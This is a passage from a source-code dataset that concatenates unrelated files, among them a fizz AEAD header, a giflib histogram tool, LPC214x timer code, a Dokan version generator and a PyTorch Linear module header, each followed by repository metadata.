default. */ folly::Optional<std::unique_ptr<folly::IOBuf>> tryDecrypt( std::unique_ptr<folly::IOBuf>&& ciphertext, const folly::IOBuf* associatedData, uint64_t seqNum) const { return tryDecrypt( std::forward<std::unique_ptr<folly::IOBuf>>(ciphertext), associatedData, seqNum, {BufferOption::RespectSharedPolicy, AllocationOption::Allow}); } virtual folly::Optional<std::unique_ptr<folly::IOBuf>> tryDecrypt( std::unique_ptr<folly::IOBuf>&& ciphertext, const folly::IOBuf* associatedData, uint64_t seqNum, AeadOptions options) const = 0; /** * Returns the number of bytes the aead will add to the plaintext (size of * ciphertext - size of plaintext). */ virtual size_t getCipherOverhead() const = 0; }; } // namespace fizz
29.421348
80
0.672331
a28ac56ccd9bc54d664e0d9ca8d9cccb70df2c70
439
c
C
u-boot-2019.01+gitAUTOINC+333c3e72d3-g333c3e72d3/drivers/ata/sata_sandbox.c
rlourette/TI_SDK_u-boot-2019.01
3000a07c021e84d717e6792a74efcf895a7d7188
[ "MIT" ]
1,144
2018-12-18T09:46:47.000Z
2022-03-07T14:51:46.000Z
u-boot-2019.01+gitAUTOINC+333c3e72d3-g333c3e72d3/drivers/ata/sata_sandbox.c
rlourette/TI_SDK_u-boot-2019.01
3000a07c021e84d717e6792a74efcf895a7d7188
[ "MIT" ]
16
2019-01-28T06:08:40.000Z
2019-12-04T10:26:41.000Z
db/u-boot_u-boot_d0d07ba/src/opt/src/drivers/ata/sata_sandbox.c
kaznovac/codeql-uboot
77ffef6ec2350dfd0d1c1a23ba5f2b375e945f1f
[ "MIT" ]
129
2018-12-18T09:46:50.000Z
2022-03-30T07:30:13.000Z
// SPDX-License-Identifier: GPL-2.0+ /* * Copyright (C) 2015 Google, Inc * Written by Simon Glass <sjg@chromium.org> */ #include <common.h> int init_sata(int dev) { return 0; } int reset_sata(int dev) { return 0; } int scan_sata(int dev) { return 0; } ulong sata_read(int dev, ulong blknr, lbaint_t blkcnt, void *buffer) { return 0; } ulong sata_write(int dev, ulong blknr, lbaint_t blkcnt, const void *buffer) { return 0; }
13.30303
75
0.683371
2e6bd7b5ade62f26c215e52231e809a15a746e13
8,077
c
C
examples/pxScene2d/external/giflib-5.1.9/gifhisto.c
madanagopaltcomcast/pxCore
c4a3a40a190521c8b6383d126c87612eca5b3c42
[ "Apache-2.0" ]
269
2015-01-31T11:08:23.000Z
2022-03-30T10:06:21.000Z
examples/pxScene2d/external/giflib-5.1.9/gifhisto.c
madanagopaltcomcast/pxCore
c4a3a40a190521c8b6383d126c87612eca5b3c42
[ "Apache-2.0" ]
1,432
2017-06-21T04:08:48.000Z
2020-08-25T16:21:15.000Z
examples/pxScene2d/external/giflib-5.1.9/gifhisto.c
madanagopaltcomcast/pxCore
c4a3a40a190521c8b6383d126c87612eca5b3c42
[ "Apache-2.0" ]
317
2017-06-20T19:57:17.000Z
2020-09-16T10:28:30.000Z
/***************************************************************************** gifhisto - make a color histogram from image color frequencies *****************************************************************************/ #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <string.h> #include <stdbool.h> #include "gif_lib.h" #include "getarg.h" #define PROGRAM_NAME "gifhisto" #define DEFAULT_HISTO_WIDTH 100 /* Histogram image diemnsions. */ #define DEFAULT_HISTO_HEIGHT 256 #define HISTO_BITS_PER_PIXEL 2 /* Size of bitmap for histogram GIF. */ static char *VersionStr = PROGRAM_NAME VERSION_COOKIE " Gershon Elber, " __DATE__ ", " __TIME__ "\n" "(C) Copyright 1989 Gershon Elber.\n"; static char *CtrlStr = PROGRAM_NAME " v%- t%- s%-Width|Height!d!d n%-ImageNumber!d b%- h%- GifFile!*s"; static int ImageWidth = DEFAULT_HISTO_WIDTH, ImageHeight = DEFAULT_HISTO_HEIGHT, ImageN = 1; static GifColorType HistoColorMap[] = { /* Constant bit map for histograms: */ { 0, 0, 0 }, { 255, 0, 0 }, { 0, 255, 0 }, { 0, 0, 255 } }; static void QuitGifError(GifFileType *GifFileIn, GifFileType *GifFileOut); /****************************************************************************** Interpret the command line and scan the given GIF file. ******************************************************************************/ int main(int argc, char **argv) { int i, j, ErrorCode, NumFiles, ExtCode, CodeSize, NumColors = 2, ImageNum = 0; bool Error, TextFlag = false, SizeFlag = false, ImageNFlag = false, BackGroundFlag = false, HelpFlag = false; long Histogram[256]; GifRecordType RecordType; GifByteType *Extension, *CodeBlock; char **FileName = NULL; GifRowType Line; GifFileType *GifFileIn = NULL, *GifFileOut = NULL; /* Same image dimension vars for both Image & ImageN as only one allowed */ if ((Error = GAGetArgs(argc, argv, CtrlStr, &GifNoisyPrint, &TextFlag, &SizeFlag, &ImageWidth, &ImageHeight, &ImageNFlag, &ImageN, &BackGroundFlag, &HelpFlag, &NumFiles, &FileName)) != false || (NumFiles > 1 && !HelpFlag)) { if (Error) GAPrintErrMsg(Error); else if (NumFiles > 1) GIF_MESSAGE("Error in command line parsing - one GIF file please."); GAPrintHowTo(CtrlStr); exit(EXIT_FAILURE); } if (HelpFlag) { (void)fprintf(stderr, VersionStr, GIFLIB_MAJOR, GIFLIB_MINOR); GAPrintHowTo(CtrlStr); exit(EXIT_SUCCESS); } if (NumFiles == 1) { if ((GifFileIn = DGifOpenFileName(*FileName, &ErrorCode)) == NULL) { PrintGifError(ErrorCode); exit(EXIT_FAILURE); } } else { /* Use stdin instead: */ if ((GifFileIn = DGifOpenFileHandle(0, &ErrorCode)) == NULL) { PrintGifError(ErrorCode); exit(EXIT_FAILURE); } } for (i = 0; i < 256; i++) Histogram[i] = 0; /* Reset counters. */ /* Scan the content of the GIF file and load the image(s) in: */ do { if (DGifGetRecordType(GifFileIn, &RecordType) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); switch (RecordType) { case IMAGE_DESC_RECORD_TYPE: if (DGifGetImageDesc(GifFileIn) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); if (GifFileIn->Image.ColorMap) NumColors = GifFileIn->Image.ColorMap->ColorCount; else if (GifFileIn->SColorMap) NumColors = GifFileIn->SColorMap->ColorCount; else GIF_EXIT("Neither Screen nor Image color map exists."); if ((ImageHeight / NumColors) * NumColors != ImageHeight) GIF_EXIT("Image height specified not dividable by #colors."); if (++ImageNum == ImageN) { /* This is the image we should make histogram for: */ Line = (GifRowType) malloc(GifFileIn->Image.Width * sizeof(GifPixelType)); GifQprintf("\n%s: Image %d at (%d, %d) [%dx%d]: ", PROGRAM_NAME, ImageNum, GifFileIn->Image.Left, GifFileIn->Image.Top, GifFileIn->Image.Width, GifFileIn->Image.Height); for (i = 0; i < GifFileIn->Image.Height; i++) { if (DGifGetLine(GifFileIn, Line, GifFileIn->Image.Width) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); for (j = 0; j < GifFileIn->Image.Width; j++) Histogram[Line[j]]++; GifQprintf("\b\b\b\b%-4d", i); } free((char *) Line); } else { /* Skip the image: */ /* Now read image itself in decoded form as we dont */ /* really care what is there, and this is much faster. */ if (DGifGetCode(GifFileIn, &CodeSize, &CodeBlock) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); while (CodeBlock != NULL) if (DGifGetCodeNext(GifFileIn, &CodeBlock) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); } break; case EXTENSION_RECORD_TYPE: /* Skip any extension blocks in file: */ if (DGifGetExtension(GifFileIn, &ExtCode, &Extension) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); while (Extension != NULL) { if (DGifGetExtensionNext(GifFileIn, &Extension) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); } break; case TERMINATE_RECORD_TYPE: break; default: /* Should be trapped by DGifGetRecordType. */ break; } } while (RecordType != TERMINATE_RECORD_TYPE); /* We requested suppression of the background count: */ if (BackGroundFlag) Histogram[GifFileIn->SBackGroundColor] = 0; if (DGifCloseFile(GifFileIn, &ErrorCode) == GIF_ERROR) { PrintGifError(ErrorCode); exit(EXIT_FAILURE); } /* We may required to dump out the histogram as text file: */ if (TextFlag) { for (i = 0; i < NumColors; i++) printf("%12ld %3d\n", Histogram[i], i); } else { int Color, Count; long Scaler; /* Open stdout for the histogram output file: */ if ((GifFileOut = EGifOpenFileHandle(1, &ErrorCode)) == NULL) { PrintGifError(ErrorCode); exit(EXIT_FAILURE); } /* Dump out screen descriptor to fit histogram dimensions: */ if (EGifPutScreenDesc(GifFileOut, ImageWidth, ImageHeight, HISTO_BITS_PER_PIXEL, 0, GifMakeMapObject(4, HistoColorMap)) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); /* Dump out image descriptor to fit histogram dimensions: */ if (EGifPutImageDesc(GifFileOut, 0, 0, ImageWidth, ImageHeight, false, NULL) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); /* Prepare scan line for histogram file, and find scaler to scale */ /* histogram to be between 0 and ImageWidth: */ Line = (GifRowType) malloc(ImageWidth * sizeof(GifPixelType)); for (Scaler = 0, i = 0; i < NumColors; i++) if (Histogram[i] > Scaler) Scaler = Histogram[i]; Scaler /= ImageWidth; if (Scaler == 0) Scaler = 1; /* In case maximum is less than width. */ /* Dump out the image itself: */ for (Count = ImageHeight, i = 0, Color = 1; i < NumColors; i++) { int Size; if ((Size = Histogram[i] / Scaler) > ImageWidth) Size = ImageWidth; for (j = 0; j < Size; j++) Line[j] = Color; for (j = Size; j < ImageWidth; j++) Line[j] = GifFileOut->SBackGroundColor; /* Move to next color: */ if (++Color >= (1 << HISTO_BITS_PER_PIXEL)) Color = 1; /* Dump this histogram entry as many times as required: */ for (j = 0; j < ImageHeight / NumColors; j++) { if (EGifPutLine(GifFileOut, Line, ImageWidth) == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); GifQprintf("\b\b\b\b%-4d", Count--); } } if (EGifCloseFile(GifFileOut, &ErrorCode) == GIF_ERROR) { PrintGifError(ErrorCode); exit(EXIT_FAILURE); } } return 0; } /****************************************************************************** Close both input and output file (if open), and exit. ******************************************************************************/ static void QuitGifError(GifFileType *GifFileIn, GifFileType *GifFileOut) { if (GifFileIn != NULL) { PrintGifError(GifFileIn->Error); EGifCloseFile(GifFileIn, NULL); } if (GifFileOut != NULL) { PrintGifError(GifFileOut->Error); EGifCloseFile(GifFileOut, NULL); } exit(EXIT_FAILURE); } /* end */
31.306202
82
0.616442
c81a6e54b472a35998e9de9cfabfdb1b376a4180
459
h
C
StoveFireiOSMenu/Model/SFOrderItem.h
HermC/LearnIOSHCI
9667cbfe784c266109336e95d1e4b62ffa851b3f
[ "MIT" ]
587
2015-07-01T02:34:21.000Z
2022-03-22T07:28:03.000Z
StoveFireiOSMenu/Model/SFOrderItem.h
smile-fengling/StoveFireiOSMenu
f7372e9db110a765ab82ceb2e97fa9da23f0d47d
[ "MIT" ]
5
2015-07-08T05:32:25.000Z
2019-07-02T09:17:58.000Z
StoveFireiOSMenu/Model/SFOrderItem.h
smile-fengling/StoveFireiOSMenu
f7372e9db110a765ab82ceb2e97fa9da23f0d47d
[ "MIT" ]
221
2015-07-07T15:52:52.000Z
2022-02-12T11:01:10.000Z
// // SFOrderItem.h // StoveFireiOSMenu // // Created by Joe Shang on 10/16/14. // Copyright (c) 2014 Shang Chuanren. All rights reserved. // #import <Foundation/Foundation.h> @interface SFOrderItem : NSObject @property (nonatomic, strong) NSNumber *itemid; @property (nonatomic, strong) NSNumber *count; @property (nonatomic, strong) NSNumber *tradeid; @property (nonatomic, strong) NSNumber *progress; - (id)initWithItemid:(NSNumber *)itemid; @end
21.857143
59
0.729847
08b8d96d2c5a7d562ca759874db74540762911d2
2,415
h
C
sdk-6.5.20/include/soc/dnx/swstate/auto_generated/diagnostic/mdb_kaps_diagnostic.h
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/include/soc/dnx/swstate/auto_generated/diagnostic/mdb_kaps_diagnostic.h
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/include/soc/dnx/swstate/auto_generated/diagnostic/mdb_kaps_diagnostic.h
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
/* * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. */ #ifndef __MDB_KAPS_DIAGNOSTIC_H__ #define __MDB_KAPS_DIAGNOSTIC_H__ #include <soc/dnxc/swstate/dnxc_sw_state_h_includes.h> #include <soc/dnxc/swstate/dnx_sw_state_dump.h> #include <soc/dnxc/swstate/dnx_sw_state_size.h> #include <soc/dnxc/swstate/dnx_sw_state_diagnostic_operation_counters.h> #include <soc/dnx/swstate/auto_generated/types/mdb_kaps_types.h> #include <libs/kaps/include/kaps_ad.h> #include <libs/kaps/include/kaps_db.h> #include <libs/kaps/include/kaps_hb.h> #include <libs/kaps/include/kaps_instruction.h> #if defined(DNX_SW_STATE_DIAGNOSTIC) typedef enum { MDB_KAPS_DB_INFO, MDB_KAPS_DB_DB_INFO_INFO, MDB_KAPS_DB_DB_INFO_DB_P_INFO, MDB_KAPS_DB_DB_INFO_AD_DB_P_INFO, MDB_KAPS_DB_DB_INFO_HB_DB_P_INFO, MDB_KAPS_DB_DB_INFO_IS_VALID_INFO, MDB_KAPS_DB_SEARCH_INSTRUCTION_INFO_INFO, MDB_KAPS_DB_SEARCH_INSTRUCTION_INFO_INST_P_INFO, MDB_KAPS_DB_BIG_KAPS_LARGE_BB_MODE_INFO, MDB_KAPS_DB_INFO_NOF_ENTRIES } sw_state_mdb_kaps_db_layout_e; extern dnx_sw_state_diagnostic_info_t mdb_kaps_db_info[SOC_MAX_NUM_DEVICES][MDB_KAPS_DB_INFO_NOF_ENTRIES]; extern const char* mdb_kaps_db_layout_str[MDB_KAPS_DB_INFO_NOF_ENTRIES]; int mdb_kaps_db_dump( int unit, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_db_info_dump( int unit, int db_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_db_info_db_p_dump( int unit, int db_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_db_info_ad_db_p_dump( int unit, int db_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_db_info_hb_db_p_dump( int unit, int db_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_db_info_is_valid_dump( int unit, int db_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_search_instruction_info_dump( int unit, int search_instruction_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_search_instruction_info_inst_p_dump( int unit, int search_instruction_info_idx_0, dnx_sw_state_dump_filters_t filters); int mdb_kaps_db_big_kaps_large_bb_mode_dump( int unit, int big_kaps_large_bb_mode_idx_0, dnx_sw_state_dump_filters_t filters); #endif #endif
35.514706
134
0.835197
d3c49639531a3d09bf468019ed8eb2f72d2db047
6,489
h
C
mst/mtype_traits.h
MartijnTerpstra/mst
c2cc5daa787b668ddb6b0740cda96277c98a777c
[ "MIT" ]
1
2021-01-27T06:34:01.000Z
2021-01-27T06:34:01.000Z
mst/mtype_traits.h
MartijnTerpstra/mst
c2cc5daa787b668ddb6b0740cda96277c98a777c
[ "MIT" ]
46
2020-11-05T23:41:37.000Z
2021-11-12T12:22:11.000Z
mst/mtype_traits.h
MartijnTerpstra/mst
c2cc5daa787b668ddb6b0740cda96277c98a777c
[ "MIT" ]
null
null
null
////////////////////////////////////////////////////////////////////////////////////////////// // // // MST Utility Library // // Copyright (c)2021 Martinus Terpstra // // // // Permission is hereby granted, free of charge, to any person obtaining a copy // // of this software and associated documentation files (the "Software"), to deal // // in the Software without restriction, including without limitation the rights // // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // // copies of the Software, and to permit persons to whom the Software is // // furnished to do so, subject to the following conditions: // // // // The above copyright notice and this permission notice shall be included in // // all copies or substantial portions of the Software. // // // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // // THE SOFTWARE. // // // ////////////////////////////////////////////////////////////////////////////////////////////// #pragma once #include <limits.h> #include <type_traits> #include <mx_pre_type_traits.h> #include <cstddef> namespace mst { template<typename T> struct numeric_traits { }; template<> struct numeric_traits<char> { typedef char value_type; typedef char& reference_type; static const char zero = 0; static const char max = CHAR_MAX; static const char min = CHAR_MIN; static const size_t bits = 8; }; template<> struct numeric_traits<signed char> { typedef signed char value_type; typedef signed char& reference_type; static const signed char zero = (signed char)0; static const signed char max = SCHAR_MAX; static const signed char min = SCHAR_MIN; static const size_t bits = 8; }; template<> struct numeric_traits<unsigned char> { typedef unsigned char value_type; typedef unsigned char& reference_type; static const unsigned char zero = (unsigned char)0; static const unsigned char max = UCHAR_MAX; static const unsigned char min = (unsigned char)0; static const size_t bits = 8; }; template<> struct numeric_traits<short> { typedef short value_type; typedef short& reference_type; static const short zero = (short)0; static const short max = SHRT_MAX; static const short min = SHRT_MIN; static const size_t bits = 16; }; template<> struct numeric_traits<unsigned short> { typedef unsigned short value_type; typedef unsigned short& reference_type; static const unsigned short zero = (unsigned short)0; static const unsigned short max = USHRT_MAX; static const unsigned short min = (unsigned short)0; static const size_t bits = 16; }; template<> struct numeric_traits<int> { typedef int value_type; typedef int& reference_type; static const int zero = (int)0; static const int max = INT_MAX; static const int min = INT_MIN; static const size_t bits = 32; }; template<> struct numeric_traits<unsigned int> { typedef unsigned int value_type; typedef unsigned int& reference_type; static const unsigned int zero = (unsigned int)0; static const unsigned int max = UINT_MAX; static const unsigned int min = (unsigned int)0; static const size_t bits = 32; }; template<> struct numeric_traits<long> { typedef long value_type; typedef long& reference_type; static const long zero = 0L; static const long max = LONG_MAX; static const long min = LONG_MIN; static const size_t bits = 32; }; template<> struct numeric_traits<unsigned long> { typedef unsigned long value_type; typedef unsigned long& reference_type; static const unsigned long zero = 0UL; static const unsigned long max = ULONG_MAX; static const unsigned long min = 0UL; static const size_t bits = 32; }; template<> struct numeric_traits<long long> { typedef long long value_type; typedef long long& reference_type; static const long long zero = (long long)0; static const long long max = LLONG_MAX; static const long long min = LLONG_MIN; static const size_t bits = 64; }; template<> struct numeric_traits<unsigned long long> { typedef unsigned long long value_type; typedef unsigned long long& reference_type; static const unsigned long long zero = (long long)0; static const unsigned long long max = ULLONG_MAX; static const unsigned long long min = (long long)0; static const size_t bits = 64; }; #if _MST_HAS_TEMPLATE_AUTO template<auto Value> struct is_power_of_2 : public std::integral_constant<bool, (Value > 0 && (Value & (Value - 1)) == 0)>::type { }; template<auto Value> struct to_bit_shift : public std::integral_constant<int32_t, _MST_GET_SHIFT(Value)>::type { }; #if _MST_HAS_INLINE_VARIABLES template<auto Value> _MST_INLINE_VAR constexpr const bool is_power_of_2_v = is_power_of_2<Value>::value; template<auto Value> _MST_INLINE_VAR constexpr const int32_t to_bit_shift_v = to_bit_shift<Value>::value; #endif // !_MST_HAS_INLINE_VARIABLES #endif // !_MST_HAS_TEMPLATE_AUTO template<typename T, T Value> struct is_power_of_2_cpp11 : public std::integral_constant<bool, (Value > 0 && (Value & (Value - 1)) == 0)>::type { }; template<typename T, T Value> struct to_bit_shift_cpp11 : public std::integral_constant<int32_t, _MST_GET_SHIFT(Value)>::type { }; } #include <mx_is_pointer_to_const.h> #include <mx_pointer.h> #include <mx_func_type_traits.h>
33.107143
95
0.625828
d6d50e99bd3930638cf2225c7f9a4ad235993535
1,024
c
C
timer.c
matijaspanic/gui-for-arm-mcu
713c8f3c823b4334b2df6607bf7a4094ad20882b
[ "MIT" ]
1
2015-05-07T06:41:41.000Z
2015-05-07T06:41:41.000Z
timer.c
matijaspanic/gui-for-arm-mcu
713c8f3c823b4334b2df6607bf7a4094ad20882b
[ "MIT" ]
null
null
null
timer.c
matijaspanic/gui-for-arm-mcu
713c8f3c823b4334b2df6607bf7a4094ad20882b
[ "MIT" ]
1
2018-12-07T02:12:37.000Z
2018-12-07T02:12:37.000Z
#include <arch/philips/LPC214X.h> #include "main.h" /* timer0_reset(); timer0_start(); timer0_stop(); unsigned int t1 = timer0_get_us(); */ void timer0_init() { T0PR = (PCLK/1000000)-1; // Prescale - tick = 1ns //T0MR0 = 1000; // Match register1s //T0MCR = 0x00000002; // Restart on MR0 } void timer0_reset() { // Counter Reset T0TCR = 0x02; T0TCR = 0x00; } void timer0_start() { T0TCR = 0x01; // Counter Enable } void timer0_stop() { T0TCR = 0x00; } unsigned int timer0_get_ms() { return T0TC/1000; } unsigned int timer0_get_us() { return T0TC; } void timer1_init() { T1PR = (PCLK/1000000)-1; // Prescale - tick = 1ns //T0MR0 = 1000; // Match register1s //T0MCR = 0x00000002; // Restart on MR0 } void timer1_reset() { // Counter Reset T1TCR = 0x02; T1TCR = 0x00; } void timer1_start() { T1TCR = 0x01; // Counter Enable } void timer1_stop() { T1TCR = 0x00; } unsigned int timer1_get_ms() { return T1TC/1000; } unsigned int timer1_get_us() { return T1TC; }
15.058824
52
0.637695
83f3782e33613ec89c7c39db647db728fa0d751b
619
h
C
FreeGuide/FreeGuide/Class/Other/Lib/YUScreentPoper/DIVVIEW/YUDIVView.h
LeeJunhui/FreeGuide
54f7e9beff2a6c474c942c948f4f61ed949cd884
[ "MIT" ]
1
2017-09-29T02:43:08.000Z
2017-09-29T02:43:08.000Z
FreeGuide/FreeGuide/Class/Other/Lib/YUScreentPoper/DIVVIEW/YUDIVView.h
LeeJunhui/FreeGuide
54f7e9beff2a6c474c942c948f4f61ed949cd884
[ "MIT" ]
null
null
null
FreeGuide/FreeGuide/Class/Other/Lib/YUScreentPoper/DIVVIEW/YUDIVView.h
LeeJunhui/FreeGuide
54f7e9beff2a6c474c942c948f4f61ed949cd884
[ "MIT" ]
null
null
null
// // YUDIVView.h // YUANBAOAPP // // Created by yxy on 14-8-25. // Copyright (c) 2014年 ATAW. All rights reserved. // #import <UIKit/UIKit.h> @interface YUDIVView : UIView { float _marginRight; float _marginTop; } @property(strong,nonatomic) NSMutableArray * viewsArray; @property(assign,nonatomic) float yFianlMaxBottomY; -(void)setMargin:(float) margin ; -(void)setViews:(NSArray *)views marginRight:(float) marginRight marginTop:(float) marginTop paddingLeft:(float) paddingLeft; @end // 版权属于原作者 // http://code4app.com (cn) http://code4app.net (en) // 发布代码于最专业的源码分享网站: Code4App.com
18.757576
125
0.701131
eac9e11ddf24c5ea53e80de2801b2f97f13fe856
630
h
C
stratum/hal/lib/barefoot/bf_pd_mock.h
msherman64/stratum
189ebfaa9687f1d7188d2ae4768a7f0a2f10cb14
[ "Apache-2.0" ]
1
2020-07-14T09:32:38.000Z
2020-07-14T09:32:38.000Z
stratum/hal/lib/barefoot/bf_pd_mock.h
davidgengenbach/stratum
609e7d6af7fb3a0862799619beb8d9873422915a
[ "Apache-2.0" ]
3
2020-07-09T07:37:27.000Z
2020-08-18T10:05:26.000Z
stratum/hal/lib/barefoot/bf_pd_mock.h
davidgengenbach/stratum
609e7d6af7fb3a0862799619beb8d9873422915a
[ "Apache-2.0" ]
1
2020-09-14T09:17:58.000Z
2020-09-14T09:17:58.000Z
// Copyright 2020-present Open Networking Founcation // SPDX-License-Identifier: Apache-2.0 #include "gmock/gmock.h" #include "stratum/hal/lib/barefoot/bf_pd_interface.h" #ifndef STRATUM_HAL_LIB_BAREFOOT_BF_PD_MOCK_H_ #define STRATUM_HAL_LIB_BAREFOOT_BF_PD_MOCK_H_ namespace stratum { namespace hal { namespace barefoot { class BFPdMock : public BFPdInterface { public: MOCK_METHOD1(GetPcieCpuPort, ::util::StatusOr<int>(int unit)); MOCK_METHOD2(SetTmCpuPort, ::util::Status(int unit, int port)); }; } // namespace barefoot } // namespace hal } // namespace stratum #endif // STRATUM_HAL_LIB_BAREFOOT_BF_PD_MOCK_H_
25.2
65
0.777778
1e12317f87e25080e6c7be26790ee4e5934c6d72
392
h
C
Kernel/checksum.h
mryraghi/tcpcrypt
dc22bff0f2e4505bd5cca42aa40dc508a213b315
[ "MIT" ]
2
2018-08-10T07:01:39.000Z
2019-01-30T08:42:29.000Z
Kernel/checksum.h
mryraghi/tcpcrypt
dc22bff0f2e4505bd5cca42aa40dc508a213b315
[ "MIT" ]
null
null
null
Kernel/checksum.h
mryraghi/tcpcrypt
dc22bff0f2e4505bd5cca42aa40dc508a213b315
[ "MIT" ]
2
2020-05-29T08:20:30.000Z
2021-08-04T11:34:39.000Z
// // checksum.h // tcpcrypt // // Created by Romeo Bellon. // Copyright © 2017 Romeo Bellon. All rights reserved. // #ifndef checksum_h #define checksum_h #include <sys/types.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <libkern/libkern.h> extern void checksum_tcp (struct ip *ip, struct tcphdr *tcp); extern void checksum_ip (struct ip *ip); #endif /* checksum_h */
18.666667
61
0.704082
ca9608f0972bfbf1d238e312e010b659ff260903
788
c
C
dokan-sys/src/generate_version.c
dokan-dev/dokan-rust
1e2676d2ad7d74a9747107ba0ed2f1530259da5b
[ "MIT" ]
24
2020-02-10T18:11:13.000Z
2022-02-21T16:33:43.000Z
dokan-sys/src/generate_version.c
dokan-dev/dokan-rust
1e2676d2ad7d74a9747107ba0ed2f1530259da5b
[ "MIT" ]
3
2020-02-12T16:04:23.000Z
2022-03-05T09:56:29.000Z
dokan-sys/src/generate_version.c
dokan-dev/dokan-rust
1e2676d2ad7d74a9747107ba0ed2f1530259da5b
[ "MIT" ]
3
2020-11-26T18:02:44.000Z
2021-12-03T21:57:09.000Z
#include <stdio.h> #include "dokan.h" int main() { FILE *version_rs = fopen("version.rs", "w"); if (version_rs == NULL) return 1; fprintf(version_rs, "pub const DOKAN_VERSION: u32 = %d;\n", DOKAN_VERSION); fprintf(version_rs, "pub const DOKAN_MINIMUM_COMPATIBLE_VERSION: u32 = %d;\n", DOKAN_MINIMUM_COMPATIBLE_VERSION); fprintf(version_rs, "pub const DOKAN_DRIVER_NAME: &str = \"%ls\";\n", DOKAN_DRIVER_NAME); fprintf(version_rs, "pub const DOKAN_NP_NAME: &str = \"%ls\";\n", DOKAN_NP_NAME); fprintf(version_rs, "pub const DOKAN_MAJOR_API_VERSION: &str = \"%ls\";\n", DOKAN_MAJOR_API_VERSION); fclose(version_rs); FILE *version_txt = fopen("version.txt", "w"); if (version_txt == NULL) return 1; fprintf(version_txt, "%d", DOKAN_VERSION); fclose(version_txt); return 0; }
37.52381
114
0.711929
379f802d4028341509064307617cd330fd279874
1,608
h
C
aws_lambda/pytorch/source/torch/lib/include/torch/csrc/api/include/torch/nn/modules/linear.h
YevhenVieskov/ML-DL-in-production
03839abcb93a49d4f05c43aa4e446a040027cdb0
[ "MIT" ]
4
2020-09-17T11:50:17.000Z
2021-08-25T06:14:10.000Z
aws_lambda/pytorch/source/torch/lib/include/torch/csrc/api/include/torch/nn/modules/linear.h
YevhenVieskov/ML-DL-in-production
03839abcb93a49d4f05c43aa4e446a040027cdb0
[ "MIT" ]
null
null
null
aws_lambda/pytorch/source/torch/lib/include/torch/csrc/api/include/torch/nn/modules/linear.h
YevhenVieskov/ML-DL-in-production
03839abcb93a49d4f05c43aa4e446a040027cdb0
[ "MIT" ]
6
2020-10-16T13:28:31.000Z
2021-08-25T12:08:34.000Z
#pragma once #include <torch/nn/cloneable.h> #include <torch/nn/module.h> #include <torch/nn/pimpl.h> #include <torch/types.h> #include <cstddef> #include <vector> namespace torch { namespace nn { /// Options for the `Linear` module. struct TORCH_API LinearOptions { LinearOptions(int64_t in, int64_t out); /// The number of input features (columns of the input matrix). TORCH_ARG(int64_t, in); /// The number of output features to produce (columns of the output matrix). TORCH_ARG(int64_t, out); /// Whether to learn and add a bias after the linear transformation. TORCH_ARG(bool, with_bias) = true; }; /// Applies a linear transformation with optional bias. class TORCH_API LinearImpl : public Cloneable<LinearImpl> { public: LinearImpl(int64_t in, int64_t out) : LinearImpl(LinearOptions(in, out)) {} explicit LinearImpl(LinearOptions options); void reset() override; /// Transforms the `input` tensor by multiplying with the `weight` and /// optionally adding the `bias`, if `with_bias` is true in the options. Tensor forward(Tensor input); /// The options used to configure this module. LinearOptions options; /// The learned weight. Tensor weight; /// The learned bias. If `with_bias` is false in the `options`, this tensor is /// undefined. Tensor bias; }; /// A `ModuleHolder` subclass for `LinearImpl`. /// See the documentation for `LinearImpl` class to learn what methods it /// provides, or the documentation for `ModuleHolder` to learn about PyTorch's /// module storage semantics. TORCH_MODULE(Linear); } // namespace nn } // namespace torch
29.236364
80
0.725124
9b35f043c084bad6ffbf8518691430882b62979b
378
h
C
pentago/data/compress.h
girving/pentago-learn
b28399aed8a77152786e97e62ee3e3a8c384af2a
[ "BSD-3-Clause" ]
41
2015-01-25T14:37:39.000Z
2022-02-23T16:29:18.000Z
pentago/data/compress.h
girving/pentago-learn
b28399aed8a77152786e97e62ee3e3a8c384af2a
[ "BSD-3-Clause" ]
1
2019-07-12T22:35:53.000Z
2019-07-12T22:35:53.000Z
pentago/data/compress.h
girving/pentago-learn
b28399aed8a77152786e97e62ee3e3a8c384af2a
[ "BSD-3-Clause" ]
2
2015-05-06T11:04:40.000Z
2017-04-18T00:22:11.000Z
